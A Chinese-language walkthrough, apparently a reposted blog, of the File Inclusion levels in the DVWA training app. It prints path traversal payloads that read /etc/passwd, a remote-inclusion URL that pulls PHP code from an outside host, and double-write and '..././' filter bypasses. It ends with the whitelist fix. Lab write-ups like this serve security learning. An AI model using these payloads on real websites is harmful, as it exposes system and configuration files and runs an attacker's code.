DVWA(八):File Inclusion 全等级文件包含

文件包含:

  开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。

文件包含漏洞:

  开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

所用到的函数:

require:找不到被包含的文件,报错,并且停止运行脚本。

include:找不到被包含的文件,只会报错,但会继续运行脚本。

require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。

include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

主要特征:

?page=a.php
?home=b.html
?file=content

例如:

?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt

举个例子:在DVWA的文件包含模块 low级别

这里有个1.txt文件,内容为  hello world

我们在URL中将参数修改为:?page=../1.txt,尝试包含这个1.txt文件:

 可以看到爆出了文件的内容。

这里路径可以用绝对路径也可以用相对路径;文件保护使,不管文件是何类型都会优先尝试当作

php文件执行,如果有php代码会返回php代码的结果,如果没有php代码,会将文件内容回显出来。

一般文件包含的隐患就是可以爆出passwd文件中的账户密码信息或者config配置文件的内容。

low级别:

观察源码:

可以看到low级别对于参数page没有进行任何的过滤

 用相对路径读取本地文件:

我们写一个php文件放在WWW目录下:

 

 尝试包含此文件:可以看到我们写的php代码被直接运行并返回结果

 也可以将参数构造为:

?page=http://目标IP/目标目录+目标文件 进行远程包含

Medium级别

观察源码:

这里使用了str_replace函数对http://  、 https:// 、 ../ 、  ..   进行了过滤处理

可以使用双写http://或者绝对路径来绕过(例如:htthttp://p://)或者用..././来进行绕过

或者绝对路径和file协议。

High级别:

 两个条件分别为file变量中不含有file,且不等于include.php就行

还可以继续用file协议进行绕过

例如:

?page=file///C:/phpstudy/WWW/1.txt

 Impossible级别:

观察源码:

 可以看到只要不是 include.php file1.php file2.php file3.php 都会报错,类似于白名单的做法

除了以上四个文件其余的文件都不可被包含,彻底杜绝了文件包含漏洞。

原文地址:https://www.cnblogs.com/Zh1z3ven/p/12553066.html